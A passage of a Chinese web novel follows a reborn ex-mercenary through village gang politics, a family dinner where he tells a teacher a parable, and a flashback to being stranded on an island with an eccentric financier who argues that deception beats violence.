如果今天成枝豹给陈虎摆出了一桌子酒菜,那陈虎这次来就纯属鸿门宴招待了。 毕竟,成枝豹走到昨晚那一步,已经没了退路,并且还是间接被陈虎逼迫,以及小天直接暗算,才造成如此局面。 假设陈虎没能兑现诺言,那他成枝豹就算是彻底完了。 只要陈虎给不了他满意答复,那既然他除了逃亡出去避风头,剩下的就是等死,他成枝豹自然不介意先找逼迫他走上这绝路的陈虎与成小天算算账。 某种程度而言,成枝豹对成小天动手,也算是一石二鸟,除了可以在他手下的弟兄们中树立威信,也可以防止陈虎食言,先提前在成小天身上报复,让成小天付出代价。 然后,在等到陈虎给出的确定保他,并且让他去县城里头上位的答复后,成枝豹这位道上混了近二十年的豹爷,自然也是能屈能伸,让陈虎对他立威,将这事情了结。 刚才成枝豹当众下跪与狂抽他自己耳光道歉的动作,可谓是一气呵成、行云流水! 这件事情传出去的话,不仅会让陈虎的威望大增,并且也会让别人都知道他成枝豹已经算是陈虎的小弟,跟着陈虎混了。 不然的话,他成枝豹也没必要这么做。 离开赌场之后,陈虎径直就折返回家中。 午后,陈虎刚回到家中,首先他就看到了停在门口的那辆破旧老爷车,也就是成枝豹的座驾。 也就是昨日截杀马加爵打手之前,成小天率先派了一个马仔开车来给陈虎通风报信时,所开的车。 而后,陈虎一进院子就见到了让他有些无奈的一幕。 首先是一夜没合眼的马老三,仍在坚守着陈虎给的任务,坐在家里院外,手里捧着子弹上膛的猎枪。 马老三见到陈虎之后,当即大喜过望,而后带着陈虎,来到家里头的柴房。 就见得,柴房里头有一个壮硕的青年,此时正被五花大绑着,嘴里头还被塞了一块脏抹布。 陈虎不由得好奇询问:“这是怎么回事?” 马老三闻言,眨巴眨巴眼,一脸疑惑道: “虎哥,这人来的时候是打着你的名号,还说是你让他来家里头待着,一起看家护院来的。” “我这不是听你最开始说的,只要这两天有陌生人进院里面,直接开枪嘛?但开第一枪我没打中,就听到他自称虎哥你派来的。” “没法子,我也不知真假,就只好给他捆起来,扔到这儿了。” 陈虎闻言,微微蹙眉,然后满脸无奈的上前给这马仔松绑。 松绑后,这马仔当即欲哭无泪道: ”虎哥,我按照你吩咐来的,这大个子他……他竟然偷袭我!” 陈虎看着待在柴房里面冻了一整夜的马仔,不禁扶额苦笑道: “误会!他人傻,你别和他计较!你叫什么名字?” 那马仔闻言,愤愤的看了马老三一眼,这才赶忙应道:“回虎哥,我名儿好记,叫包专,道上诨号叫黑狗。” 陈虎听到这话,忍不住轻笑两声道:“包专、包赚?你父母倒是取了个吉利名字!这样吧,往后你跟着我就行,用不着回去了,这辆车我会和成枝豹知会一声,直接留我这里,到时候,你来帮我开车。” 说话间,陈虎抬手拍了拍边上的马老三的肩膀道:“老三,从你家收拾间屋子,给他住着!回头我来给他开工资,你收他房租。要是你不愿意的话,那你就给他在村里头随便寻一户人家也成!” 说罢,陈虎挑眉看向包专,笑问道:“你觉得咋样?黑狗?” 包专闻言,傻乎乎的笑道:“虎哥愿意提携,是我这几辈子积福来的嘞!” 陈虎随后又撇过头,看向马老三。 马老三也赶忙点头,跟着嘿嘿傻笑道:“虎哥说的算!再说了,我家那房子还收啥房租啊?” 陈虎闻言,却是摇了摇头,一脸认真道:“说收你就收着!怎么?嫌钱多啊?” 马老三连连摇头道:“虎哥说笑了,谁还嫌钱多啊?不过说起来,自打跟着虎哥之后,俺当真没有为钱发愁过!” 陈虎闻声,也是难掩笑意,简单的给两人招呼过后,便让昨晚都没睡好的两人,先进屋里面休息。 三人一并进屋,陈虎刚一推开门,便见到杨蓉此时正严阵以待的坐在客厅,陈瑶和陈真,还有马雨三个小家伙则探头望着外边,就连杨春也神色不安的盯着门口。 见进门的人里面有陈虎与马老三时。杨蓉、杨春他们这才堪堪松了口气。 杨蓉率先出声喊道:“小虎,你可算回来了!当真是担心死你妈我了!” 陈瑶和陈瑶两个小家伙同时也兴冲冲地跑到陈虎的面前,然后直接冲到了陈虎的怀里,一人一声“哥哥”、“哥哥”的喊着。 陈虎见此,不由得深吸一口气,他看着自家娘和弟弟妹妹们,心中顿时就蔓延开来了一股暖意。 无论何时,家庭都是一个人社会在关系的重要锚定点。 陈虎切切实实地体会着这股家的温暖,然后,他就冲着杨蓉风轻云淡地撒了一个善意的谎言。 毕竟,陈虎全副武装的离家两日,还让马老三拿了猎枪过来当门神,这诡异的现象,自然是会弄得杨蓉、杨春他们的心里头不安生的。 第一卷 第132章 离谱到家的说辞! 晚饭时分,陈虎家中格外热闹。 除了陈瑶和陈真两个小家伙在内的陈虎一家四口,马老三家还有三口子,外加上诨号“黑狗”的包专,再加上一个陆无双,他们加一块儿,共计有九张嘴。 这让得负责做饭的杨蓉和杨春两人,都累得够呛。 不过,等到饭菜上桌之后,看着大家团团坐着,吃得不亦乐乎,杨蓉和杨春两人也不免非常欣慰。 做饭嘛,最开心的就是吃饭的人埋着头多吃。 陈虎这几日里也是累坏了,直接风卷残云的吃下两大碗米饭后,才堪堪停下。 人一多,不仅热闹,连带着饭菜吃着也愈发的香! 很快,一桌子菜便如风卷残云似的,被吃了个干净! 吃过饭后,杨春收拾着碗筷,杨蓉则给众人煮了一壶松针茶。 松针煮出来的茶水,有着一股子特殊的清香。 那是松树的味道,与寻常茶叶不同。 松针茶非但入口不显苦涩,还会带着回甜,煮的时候,杨蓉还特地加了些冰糖进去,比起茶水来说,这松针茶倒不如说是糖水更为合适。 但它又带着一股清香,不仅不腻,还十分爽口! 陈虎端起一碗松针茶,细细品味着,边上的小陈真则一口气喝下了三大碗! 陈虎见陈真又准备接着倒松针茶,当即就忍不住笑道: “怎么?感情阿真你拿这东西当糖水喝了?喝那么多就不怕尿炕啊?” 听到陈虎这话,陈真顿时就不乐意了,当即就有些心虚的望向了桌前的所有人,然后朝陈虎投来一个埋怨的眼神道:“哥!我……我已经很久没尿炕了,你说的是囡囡吧!” 边上的小陈瑶一听这话,自然也不乐意,小脸气鼓鼓的眉头一皱,一手端着茶碗,一手指着陈真,便故作生气的奶声道: “二哥,你再这样我就不帮你捡石头了!” 陈真悻悻然的缩了缩脑袋,想说什么,又犹豫着不开口,当即惹得周围的人,哄堂大笑。 陈虎也为这一幕笑得前仰后合,接着摆手道:“阿真,别喝了!改明儿,哥去镇上给你带糖果,这个喝多了真尿炕的!” 一旁的小囡囡闻声,顿时两眼放光,大声叫好。 小鼻涕虫则满脸不乐意,撇嘴道:“哥,你瞧不起谁,我再喝三碗,也不会尿炕!人家陆老师说了,武松那种好汉能连喝十八大碗酒打死老虎,还不醉,我这才喝了几碗松针茶水而已!” 坐在一旁的陆无双闻言,顿时一挑眉,轻声开口道: “陈真同学,人家武松是杜撰的人物,现实中没人能喝醉了还拿着棍子打老虎的,再说了,你怎么知道武松小时候喝多了茶水不尿炕?” 小鼻涕虫望向陆无双,当即嘿嘿一笑,接着直接拍了拍胸脯,满脸骄傲道: “陆老师,打虎咋了,武松是杜撰的,但我哥是真真正正的打了头山君带回家的!而且,村东头那个跳大神的婆婆都逢人就说,我哥是天上神仙转世,出生就会说话,刚走路就能下河逮鱼,尿炕?我哥可是大英雄,怎么会尿炕?再说了,我哥还……” 眼见小陈真嘴叭叭的不停,给陈虎一阵天花乱坠的吹嘘,陈虎那张老脸一时之间,也是无处搁置,他只能无奈打断道: “得!小阿真,你是我哥,快别说了!回头想吃糖,今儿就别喝了,听话,早些去睡觉,才能当大英雄。” 小鼻涕虫闻言,这才不情不愿的放下碗,而后又给自己做了一番心理建设,紧接着才斗志昂扬的跑回了里屋,上床睡觉。 陈虎赶忙喊道:“小英雄得懂得洗漱了再睡啊!” 将小鼻涕虫忽悠回屋后,陈虎这才注意到桌对面的陆无双正满脸憋笑的模样。 不得不说,陆无双属于那种标准的清婉美人,脸庞消瘦却不病态,五官细腻而不妩媚,身材不夸张,却也凹凸有致。 与话本小说中常常形容到的小家碧玉一词,简直就是对照相合。 陆无双捂着嘴,轻笑两声,而后深吸了一口气,望向陈虎调侃道: “真没想到我边上还有这么一位打虎英雄!落地就会说话,三岁就下河逮鱼,这位陈……陈校长,我怎么没听说过你的这些丰功伟绩呢?” 陈虎闻言,自然不免苦笑。 可不等他解释,马老三直接就站起身来,满脸骄傲道: “我虎哥是没那么夸张,但打虎这事儿不假!我真真切切地跟着虎哥一起进的山,并且,虎哥不但给整个上河村的乡亲们都多谋了一条活路,还给村里面盖了学校,让全村的孩子们都有机会上学堂!如今,虎哥还打算把他的养殖场的部分收益,全部都用来投资给村里面修桥铺路……” 马老三十分自豪地讲述着陈虎大部分的辉煌事迹,听得陆无双一愣一愣的。 陆无双自然知道陈虎有能耐,但她毕竟是在城里面长大,之后又在大城市里面任职过教师,并没有太多的个人崇拜。 因此,陆无双之前一直没有过于神话陈虎,也鲜少打听陈虎的故事。 眼下,马老三说的种种事情,却是让得陆无双对陈虎的认知,又一次刷新了。 陈虎则很敏锐的察觉到了不对劲,随后,他目光沉沉的看向陆无双,微微叹了口气后,这才开口道: “陆老师,你没和乡亲们打过交道吗?任教这段日子?” 陆无双闻言,微微皱眉,而后又换上一副平淡的神色,不紧不慢的说道: “陈校长倒是落了清闲,学校扔给我啥也不管,自个儿出远门潇洒,我这每天照顾三十几个孩子,忙前忙后,忙得晕头转向,哪儿有功夫去乡亲们家里串门?” 陈虎听到陆无双这话,却没有第一时间追问,反倒是端起茶碗,细细品着。 他十分清楚村里头的乡亲们在外,是怎么提及他的? 莫说是同村的村民,就是十里八乡的老百姓,再到镇上,所有人这段日子以来,只要提及他陈虎了,那可谓是各种天花乱坠的吹嘘,陈虎自己都感觉听都没办法听。 就小陈真说的那些,其实还算是不夸张的呢! 有的是离谱他母亲给离谱开门,离谱到家的说辞! 而陆无双作为他陈虎亲自投资建设学校的老师,村民们必然挺好乐得与其交好。 不说别的,他们走在路上打招呼这种事情,那必然是要有的。 接送学生时,他们也免不了要闲谈的。 在上河村这一亩三分地里头,大家都是邻里亲朋,每天抬头不见低头见的。 可陆无双竟然不了解陈虎的趣事轶闻,以及那些个以谣传谣的说法,很显然,陆无双应该并没有和村民们多加接触过。 第一卷 第133章 井蛙和夏虫 陈虎看着陆无双,随即顿了一会儿。 然后,陈虎放下茶碗,对陆无双悠悠出声道: “陆老师,我和你说个故事吧!” “据说,在一处海岛上,原本有一对相爱结婚的年轻夫妻。男人打鱼为生,女人则每日在家中纺布。” “原本,二人十分恩爱地过着他们的日子,他们还生下了一对儿女。直到有一天,男人被征兵的人强行征走服役,而男人在离开时,告诉女人,等他回来!” “女人含泪送别了丈夫,而后独自一人日复一日的等待着。” “日子一天天的过去,女人每月都能够收到部队里的丈夫的来信,还有部队发回来的军饷。” “但女人苦等了三年,结果却等到了丈夫在战场上牺牲的消息。” “之后被征兵带走的岛上的男人们,都陆陆续续的回家,可女人却迟迟等不到她的丈夫。” “三个月后,女人彻底相信了丈夫牺牲在战场上的这个事实。” “丈夫的死,让女人固然难过,但日子还是得过。” “就这样,又过了一年,离家四年的男人,终于回到了岛上。” “原来,他并没有牺牲,而是在一场战役中与部队走散,后续被编入了其它的部队,一直活跃在战场前线。” “但由于他后续被整编到了别的部队,原属部队就给他安上了牺牲的档案,军饷也停止了发放。” “试想一下,一个女人带着两个孩子,在海岛上不能务农,女人又不会出海打鱼,那该如何生活呢?” “男人回到阔别已久的家乡,心中是既担忧,又兴奋。他担心妻儿的状况,不知道这一年被扣发军饷,他的妻儿如何生活,又对他终于活着回到这片土地感到高兴,尤其是他马上就能够见到妻儿了。” “可事实让他几乎崩溃!” “他刚一上岛,与他相熟的发小就凑到他的面前,细细的告知他,在过去的这一年里,他老婆和岛上的男人在晚上有多忙活。” “男人得知一切后,他没有回家,而是心如死灰的来到了岛上的一家酒馆,开始不要命的借酒消愁。” “依照岛上的封建保守的思想,以及一些尘俗陋习,男人甚至于可以将妻子直接扔到海里面浸死!” “但男人并没有去怪妻子,他知道妻子是被逼无奈的,同时,他自己又解不开他心中的心结。他想要与妻子和离,但他又不知道该怎么去面对妻子。” “你知道他最后是怎么选择的吗?” 此时陈虎的脸上,带着淡淡笑意,冲陆无双发问。 陆无双听得义愤填膺,直接怒斥道:“这个男人真不是个东西!他妻子是为了两人的孩子,才做出了这个选择,这并不是女人能选的!再说了,男女之事抛除了那些个封建保守的坏风气,不就那么回事吗?都是人心作祟,能有什么?” 陈虎闻言,十分满意的点了点头道:“说得好!或许关于男女之事,扯开了那层保守、道德的外衣,不过是物种繁衍、人本身的正常欲望与行为罢了!” “但有着这些封建思想的影响,大家就会对这种事情,嗤之以鼻,甚至于十分抗拒。” 这时,一旁的马老三直接就坐不住了,他满脸不解的插话道:“虎哥,按照你这么说,这女人没错?可她……可她都这样了!” 陈虎闻言,却是淡然一笑,而后端起茶碗,喝了一大口茶水,接着神色悠然的伸出两根手指,说道: “我给你举两个例子,第一:一个妻子,在男人意外亡故了之后,无奈为了生计,只能去出卖身体来过活。” “第二:一个女人本身就在风尘场所之中长大,但和话本小说中的故事一样,她爱上了主人公,而后弃暗投明,脱离了风尘,嫁给了主人公,从此从良!” “这两个例子,你更能接受哪个例子?” 马老三闻言,犹豫了一阵,眉头紧锁,半晌之后才开口道:“第……第二个吧!” 陈虎见此,微微颔首,接着面带无奈的叹了口气道: “这就好比求神拜佛的人,一生行善无数,却因为犯错一次,就要下地狱。” “而本该下地狱的人,尽管满身鲜血,可最后放下屠刀,就能立地成佛了。” “很多时候,我们只需要抛开那些个被植入我们脑海之中的根深蒂固的错误观念,一切就会变得容易很多,压根不存在那么多的烦恼的!” 陆无双细细品味着陈虎的这个故事,似有所感。 思虑一阵之后,陆无双随即深吸了一口气,美眸之中一阵犹豫,这才问道:“最后故事的结局呢?” 陈虎闻言,放下茶碗,眼睛微眯,轻蔑笑道: “那男人无法面对妻子,原谅不了妻子,却又理解妻子,更无法原谅自己。” “于是,那男人随后便将这一年的军饷,送到家门口后,连妻子一面都没有见,趁着醉意和夜色去到了海边,然后自尽了。” 陆无双听到这里,心头顿时“咯噔”一声,接着低下头,久久不语。 马老三与黑狗两人,倒是在相互谈论着男人的选择,以及女人的是非。 陈虎则静静的看着陆无双,等着她做出反应。 良久过后,陆无双才终于抬起头,眼中多了一抹明媚,然后冲着陈虎微微点头,没有再多言语。 陈虎见状,心头也是彻底松了口气。 他用这个故事映射陆无双,无非就是害怕这命不好的女孩儿,以后会做出傻事。 陈虎很清楚,有的时候,时间可不是什么济世良药,心病不会随着时间而逐渐消失,反倒可能随着时间而愈发严重。 简单整理可思路之后,陈虎想到了一个两全的法子,当即开口道: “陆老师,你一个人的确是太忙了!” “这样吧,我打算回头朝着周围乡镇招生,后续还会再对学校做更多的建设,我过几日托人去联系一下,再去招一名老师。” “等到学校多修建一个教师宿舍过后,就让人过来任职,这样一来,你也不用一个人这么忙活了。” 陆无双闻言,脸上顿时露出惊喜之色,但很快又不禁满脸疑虑道: “可是陈校长,咱们学校能招到更多的学生吗?还有,咱们学校再接着建设的话,那不就成亏本生意了吗?再者说了,这地方穷困成这样,从哪儿再招一名老师啊?你就是托人找,估计人家也不乐意过来啊!” 陈虎听到陆无双这话,却是不以为意的耸了耸肩,神情之中,满是自信的说道: “看着吧!很快,这片土地上就会人来人往,所有的道路都铺设柏油,随便一家空出来的屋子,都会有人愿意拿钱来租住的!” 陈虎的这番话,顿时就让得整个屋子,都一阵沉寂。 陆无双没有多问,但她的心中却满是疑虑。 马老三和黑狗两人,则默不作声。 可以说,他们三人之中,并没有人相信陈虎说的这些话。 陈虎自然猜得到这三人是怎么想的,不过,这并不重要。 有的时候,不与井蛙言海,不与夏虫语冰,不仅省事儿,这对于井蛙和夏虫来说,那也都是好事儿! 第一卷 第134章 欺骗才是最优解 夜里,马老三一家与黑狗都已经离去,陈瑶和陈真两个小家伙也已经进入梦乡。 杨蓉招呼着陆无双睡下后,也回了她的房间休息。 陈虎安静的躺在榻上,回想着最近几日所发生的一切。 司宫那边的麻烦倒也不算大,好在司宫在明面上很多事情是动不了手的。 但陈虎明白,像司宫这种养尊处优惯了的权贵、高干子弟,可不会是话本书里头的那些不学无术的纨绔。 司宫能够敏锐地察觉到联姻孙家所带来的好处,也能控制着整个马关口县里最大的地头蛇,自然也不会是什么等闲之辈。 之前拷问朱锡时,陈虎就已经确认了马加爵头顶上最大的保护伞,就是司宫。 而司宫为马加爵提供庇护之余,马加爵每个月都会给司宫交去月供,奉上三成分红! 眼下,既然陈虎要以马关口为中心一步步开拓产业,那他首当其冲要做的就是以后该怎么去处理司家! 根据从孙若薇处得到的消息,司宫父母都是马关口县的领导班子,要是连官家这一关都过不去的话,那陈虎在很多事情上面,也都开展不了,更别提一步步去开拓产业了。 想到此处,陈虎不由得冷笑一声。 司家? 进山打猎是打猎,月黑风高提刀上门猎杀,那又何尝不是打猎? 不过,陈虎并非是崇尚暴力的性格。 尽管暴力最为高效,也简单粗暴,但陈虎仍旧记得那位老人说过的那番话: “崇尚暴力历来不可取!” “暴力只存在于欺骗达不到目的后,最为下策的选择,在此之前,欺骗才是最优解!” 这番话回荡在陈虎的脑海之中,而陈虎的思绪,也不禁回荡着穿过了数十年的时光,回到了一处阳光明媚的沙滩上。 那是在靠近亚洲西部地区的一处海岛上,周围最近的陆地都在一千海里外。 陈虎正与一个胡子花白,穿戴周正,神态悠哉的老头,坐在沙滩上。 老头名叫易天行,依照他自己所言,这名字寓意是取自:“天行健,君子以自强不息!” 易老头说出“欺骗才是最优解”时,陈虎正焦虑的望向海岛四周,期望着在茫茫大海上面,会出现船舶的影子,或是天际处能有救援飞机的身影。 这一年,陈虎二十七岁,已经加入组织有六年的时间了。 这一次,他接到的任务是带队护送眼前的这位神态悠闲的老人,从亚洲西部地区转移到东方大国。 但在护送的过程中,搭载他们的飞机却遭到了袭击。 飞机上,陈虎的四名队友尽数殒命,只有他与易天行老头两人成功打开降落伞,最后降落到了这处孤岛上。 陈虎在落地后,先是确认了飞机坠落在距离海岛十公里外的海面上,随后又怒骂组织给的情报不准确,他们怎么能被巡航导弹袭击? 若非陈虎在收到飞机雷达探测警报后的第一时间内,带着易天行跳伞,那他们二人都得和那四名队友一样,直接葬身大海! 眼看着飞机爆炸坠毁,陈虎也不抱有飞机上面会留下通讯设备的幻想,他焦虑着绕着不大的海岛走了一圈之后,便开始忙碌着砍伐树木,意图打造一艘简易的木筏。 但这易天行却悠哉悠哉的看着陈虎在忙活,不时的看看海景,显得格外悠闲。 临近午后,陈虎利用木头和一些藤条制造了一艘简易木筏。 而陈虎刚费力的把这艘简易木筏拖进海里面,一旁的易天行便冷不丁的给他泼了盆凉水道: “别费劲了!你们组织没有合法的航线,绕行印度洋这条线路,绕道十分远,依照我的推算,我们眼下在印度洋中心区域,这方圆千里,只怕都没有陆地,想要依靠漂流逃出这里,你还不如找头海豚,问问他能不能载你回去呢?” 听着易天行的冷嘲热讽,忙活半晌的陈虎顿时就忍不住泄了气,他没好气的放下木了筏,接着冷眼看向依旧在边上悠哉悠哉的易天行,冷冷说道: “我不能找海豚载着我逃出去,难不成你能?” 易天行闻言,却并未开口,而是抬起了他手腕上的一块奇怪的腕表。 那腕表是纯黑色的,上面并没有屏幕,仅有一颗红色小灯。 陈虎一开始接到易天行时,便发现了他手上的这块奇怪腕表。 或者说这东西不是表才对,因为它的作用并不是显示时间,依照陈虎的观测,这物件每隔一小时,才会亮灯一次。 陈虎随后不由得皱眉问道:“这是什么?” 易天行苍老沧桑的脸上,这时候带着一抹轻松,他不紧不慢的回道: “它能带我们回去!” 陈虎闻言,更是好奇,目光紧紧的盯着这块腕表,但易天行这老头却似乎没有告知陈虎这物件用处的打算。 陈虎等了片刻,正想接着询问,却被易天行先一步开口道: “饿了!去捉条鱼来,咱们生火烤鱼吃!好不容易才来了一处无人的海岛,怎么能不尝尝海鲜呢?” 听到这话,陈虎当即皱眉道:“你不是说腕表能带我们走出去吗?那你快启动腕表!等这次护送结束之后,到时候你想吃什么,我都随你!” 易天行闻言,抬头看着湛蓝的天际,然后举起一只手掌挡住耀眼的阳光,似乎在想着什么,同时神色淡然的说道:“吃完鱼后,我就告诉你这东西该怎么用!” 陈虎听到这话,当即就想怒斥易天行,但他最终忍住了,只是咬牙看着易天行这老头。 随后,等心情平复后,陈虎松开了他紧紧攥住的拳头,转身就走进了岛上的灌木林中。 不多时,陈虎便从树上摘下了几个椰子,手上也有一根做出来的笔直的木棍。 随后,陈虎熟练的解开鞋带,将随身的匕首取出绑在了木棍的上面,做出了一把简易的鱼叉。 接着,陈虎脱下衣物,直接就一头扎进了海里面。 越是远离陆地,没被人类探索、开发过的海域,里面的鱼类就越是繁多,捕捞也就更加容易。 陈虎潜水之后没多久,便带了两条模样各异的海鱼上了岸。 随后,陈虎又沿着浅水地带走了一圈,翻开石头,刨开沙砾,很快就捞出了一大堆肥硕的蛤蜊。 陈虎做事十分干净爽利,没过多久,他就架起了干柴,然后掏出了随身配枪里面的子弹,接着取出火药,放置在了一些干草的上面。 之后,陈虎就找来树枝与木板,仅仅三、两下的功夫,他就钻木点燃火药。 就见得,火药在剧烈燃烧之后,接着点又燃了干草,一堆柴火随后也被轻松引燃。 海鱼在陈虎的快捷处理之下,很快也被刮去了鱼鳞、刨除内脏,架在了火上炙烤。 烤制海鱼的时候,陈虎又顺带着搬来一块相对平整的石头,放在火堆边上,将蛤蜊一个个的都摆上去炙烤。 不多时,烤制海鲜时出的腥味与香味,便扑面而来了。 第一卷 第135章 简直是暴殄天物! 一旁的易天行很快就闻到了味。 随后,易天行就皱着眉头,凑了上来道: “这般新鲜的海鲜,不能有好的庖厨切生鱼片就算了,还被你烤制成这副模样!” “简直是暴殄天物!” 虽然易天行张口就连词带句,话里也夹枪带棒的,但陈虎却是直接忽略了这小老头的话,反倒看着这小老头,好奇问道: “你的汉语这般好?” 易天行闻言,也是不由挑眉道:“怎么?你小子不是岛国或者东南亚出来的?” 陈虎不由得耸了耸肩道:“说的什么话?我可是地地道道的华夏人!” 听到陈虎这话,易天行顿时就来了兴趣,他随后哈哈一笑,也不再挂着那张惹人厌的脸道: “早说你是中国人,不就对了!我看你小子贼眉鼠眼的,还以为你是棒子那边的。我啊,我父亲是华侨,我还是在华夏待过八年,拿到了北清马哲博士学位。” 陈虎闻言不由暗暗心惊,对于易天行这个小老头的身份,陈虎自然是有所猜测的,毕竟护送易天行时,亚洲西部地区正处于大范围动荡。 当然,这对于一名雇佣兵而言,实际上关系不大。 护送目标的身份,对陈虎来说,只不过是有护送任务的难度划分区别。 所以,陈虎对此也并未太过在意,而是眼神冷漠的望向易天行,沉声道: “吃的已经有了,现在说说吧!这块类似腕表的东西,怎么才能够救我们离开?” 易天行这老头长得浓眉大眼,却又不似亚洲西部的那边人一般显黑,尽管他脸上的褶皱不少,但却显得十分白皙。 听到陈虎的问话,易天行直接就一屁股坐在地上,接着举起右手,看着手上的物件,笑着说道: “你应该不知道我的身份,当然,我告诉你也无妨。先说说这东西吧,它的名字叫生命体征检测系统,并不是腕表。” “你肯定想象不到,它的终端连接着亚洲西部?A国去年发射的那颗人造卫星,也是全国唯一的,目前属于军用的卫星。” “而和那颗卫星一样的,还有A国现任总统,都是我推上去的。” 易天行说到此处,却是忍不住苦笑一声,接着伸手抓起一个烤制到开嘴的蛤蜊,扒拉着扯出那块肉,直接塞进了嘴里。 而后,易天行手指向陈虎带回来的椰子,笑道: “先开一个解解渴!” 说完,易天行一边似乎嫌弃蛤蜊的味道,一边淡然的继续说道: “你叫我易博士就行!小子,你既然是华夏人,那如今华夏如此发达,经济腾飞人均收入翻了那么多,你怎么还能走出来做这脑袋别在裤腰带上的活计呢?” 陈虎拾起了一个椰子,用匕首轻松开口,然后将椰子递到了易天行的手中,接着漫不经心的回应道: “我走出来那一年,家乡大范围的工人下岗,女人不远走他乡,出卖身体去卖肉的话,基本上都熬不住。男人不往南方走的话,也基本上都吃不饱,只能进苦窑找口吃食去了。” 陈虎风轻云淡诉说了他经历过的惨状。 易天行闻言,微微点头,接着深深的望了一眼陈虎,叹了口气道: “听出来了,你的口音是北方来的。如今形势好了,你也不该继续做这卖命活儿了,好好为以后想想吧!” “至于怎么走出这里,你放心,这个检测器会检测我的生命体征,每一小时就发射一次信号连接卫星,并且还会附送我所在位置的坐标。” “这处地方尽管有些偏了,但只要你把烤制海鲜的技术练习一下,让老头我能吃得下去,那十天内,我们就能等到救援!” 陈虎闻言,心中惊骇易天行的高科技手段的同时,也不由得稍稍安了心。 毕竟,即便他打猎的技能满点,制造工具的技能也满点,但他也不可能在这座荒岛上,手搓出一艘帆船逃出去的。 而且,按照组织那边的行事风格,飞机被巡航导弹击中,组织大概率也不会费尽心力地派人来寻找他们残缺不全的尸体的。 眼下有了易天行的保障,陈虎也不再焦虑。 在心态放平之后,陈虎便开始与脾气古怪的易天行,一起吃着他烤制的海鲜。 海鲜不缺调味,本身食材的鲜香就足够满足味蕾的需求了,但荒岛上面,属实条件简陋,再加上陈虎的烹饪技能几乎为零,所以这顿饭也确实十分难吃。 好在,椰汁还算清甜可口。 或许是由于食物太过于难以下咽了,易天行随后就开始与陈虎有一搭没一搭的交谈着,他似乎在用和陈虎的谈话来下饭一样。 陈虎倒是乐得与易天行聊天,就像易天行最先提出了的一个问题,也是引起了陈虎的兴起。 “我知道你的工作除了护送之外,更多的时候则是挥动屠刀,用热武器进行指定目标的刺杀或者屠杀,那你知道我的工作是做的什么吗?”易天行突然说道。 陈虎闻言,不由得好奇的摇了摇头:“不知道!” 易天行这时候呵呵一笑,接着咬下了一大块鱼肉,却被腥味熏得微微皱眉,但还是继续说道: “我存在的意义,就是让你这类人消失!” 陈虎不明所以,随即就将疑惑的目光投向了易天行,等待他的解释。 易天行一边咀嚼着那难以下咽的鱼肉,一边脸色黯然的继续说道: “或者说,我的工作、理想就是让这个世界上的所有人,都在一个框架下进行自我约束,实现自我价值,从而不再存在暴力、偷抢、压榨、剥削……” 陈虎闻言,不由得耸了耸肩,然后十分不以为意的笑道:“易博士说得太过于理想了些,乌托邦吗?” 易天行这时候将他手中的鱼骨头。扔进了火堆里,然后半点不带拘束地用袖口擦掉了嘴上的油脂,接着眼神暮然的缓缓出声道: “没错!的确是乌托邦!” “可哪一个追求平等公正,追求民主自由的人,又能不活在自己臆想中的乌托邦里面呢?” “我有着金融学与马哲双料博士学位,手中产业资产的估值,能相当于一个发展中国家五年的总产值。” “我用社会实践与无数的探索,到最后却发现这个世界不能蜕变为理想中的乌托邦的根本症结,是人性!” “人性深渊,才是最为严重的病灶!” “人性的贪婪,几乎没有止境!” “每当一个人获得阶段性的成功,他就会渴望下一次的成功。这也就让他尽全力去攀登,接着会让他这个人的整体,被腐蚀变质,资本的累积同样如此。” “迄今为止,我都找不到解决这个问题的办法,所以在五年前,我来到了A国。” 听完易天行的讲述,陈虎的内心世界当时大受震撼。 一个对世界了解片面的人,但凡他多窥探世界的一角,那都会让他的世界观被彻底打碎重组! 第136章 欲望是万恶之源! 陈虎听了易天行的这段话后,简单思索了一番,而后满心疑惑。 不由得,陈虎便一脸好奇的询问易天行道: “我好奇您到底想改变什么?怎么去改变?您说五年前您做出选择去到了A国,那这五年内,您又改变了什么?得出了什么结论?” 面对陈虎这一连串的疑问,易天行并未反感,反倒是细细回应,一一答道: “和所有沉浸在自己心中理想的乌托邦的完美主义者一样,我想让为这个病态的世界,那些无数病态、腐朽的政府,那些病态化的人群,全部都来上一针猛药!彻底治愈所有一切!” “而至于该如何改变,首先,我需要了解为什么权力与资本会腐蚀人心?” “欲望是万恶之源!” “我需要找到源头的同时,找到欲望的机理。” “所以,我发展产业,利用我所拥有的知识,创造了大量的财富。” “可这还远远不够,我需要一个试验场,一个我能够控制的试验场。所以,我签约了A国的一处矿藏开采项目,带着我所有的资本,来到了A国。” “说来,你也许不是很清楚,在二十一世纪的今天,A国还处于一个君主立宪制国家的状态,不仅工业发展滞后,就连饥荒都还时有发生。” “在来到这里之前,我做过很多的考量。” “一来,A国的君主立宪是穷极思变情况下的产物。” “二来,A国内部派系林立,十分混乱,却又处于均衡,在外力影响之下,更容易决定出哪一个派系的胜利。” “三来,这是一个农业国。” “并且,这个农业国处于半封关闭国的状态,零外交。” “同时,这个国家并没有大量的矿产资源,基本上是不可能被别的国家惦记的。这样的话,也就不用担心有大角色下场左右这个国家的走向,也不用担心国际舆论导向。” 说到这里,易天行浑浊的双眼之中,突然闪出了一抹精光。 随后,易天行兴致勃勃的朝着陈虎,发问道: “小子,我决定来A国之前,曾检查出肝癌早期,但由于我的年纪摆在这里,即便是积极治疗,再配合换肝脏,我也清楚我撑不了多少年了,所以在时间有限的情况下,你认为怎么样才能让一个国家机器结束混乱的同时,更快的回到正轨,并按照我所设想的理想情况去发展下去?” 易天行的问题很刁钻,并且在提及他病情的时候,他显得并不算太在意,反倒是在提到问题时,他却显得十分兴奋。 陈虎综合易天行的这番言语,思索了片刻后,突兀地就想到了华夏二十世纪的建国史。 犹豫半晌,陈虎语气肯定地回答道: “圣君独裁!” 易天行闻言,坦然大笑,拍手叫好道: “不错!够聪明!哈哈哈……那你再猜一下,我该如何快速结束A国派系林立的混乱状态?并且,在结束的同时,我还能够有足够的筹码,去掌控主事人,让这个试验场按照我规划的既定方向前进?” 易天行的这个问题,顿时就让得陈虎一阵皱眉。 思虑良久之后,陈虎才给出答案道: “你手头上有资金,那就意味着你可以提供军火供应,再加上造势等等,应该能……” 易天行听到这里,却是直接摆手打断了陈虎的话,随即,他的脸上露出了一抹意味深长的笑容道: “你错了!” “我的确能够拿出足够的资金,也能够把军火供应做到一面倒,但暴力从来都是一种无奈的选择。” “并且,若是其中一个派系得到了枪杆子,那他们不愿意再听从吩咐,回过头来对付我,那我又该如何控制呢?” 说到这里,易天行就举起了椰子,将里面椰汁一饮而尽,接着深吸了一口气,缓缓说道: “你要记住,崇尚暴力历来不可取!” 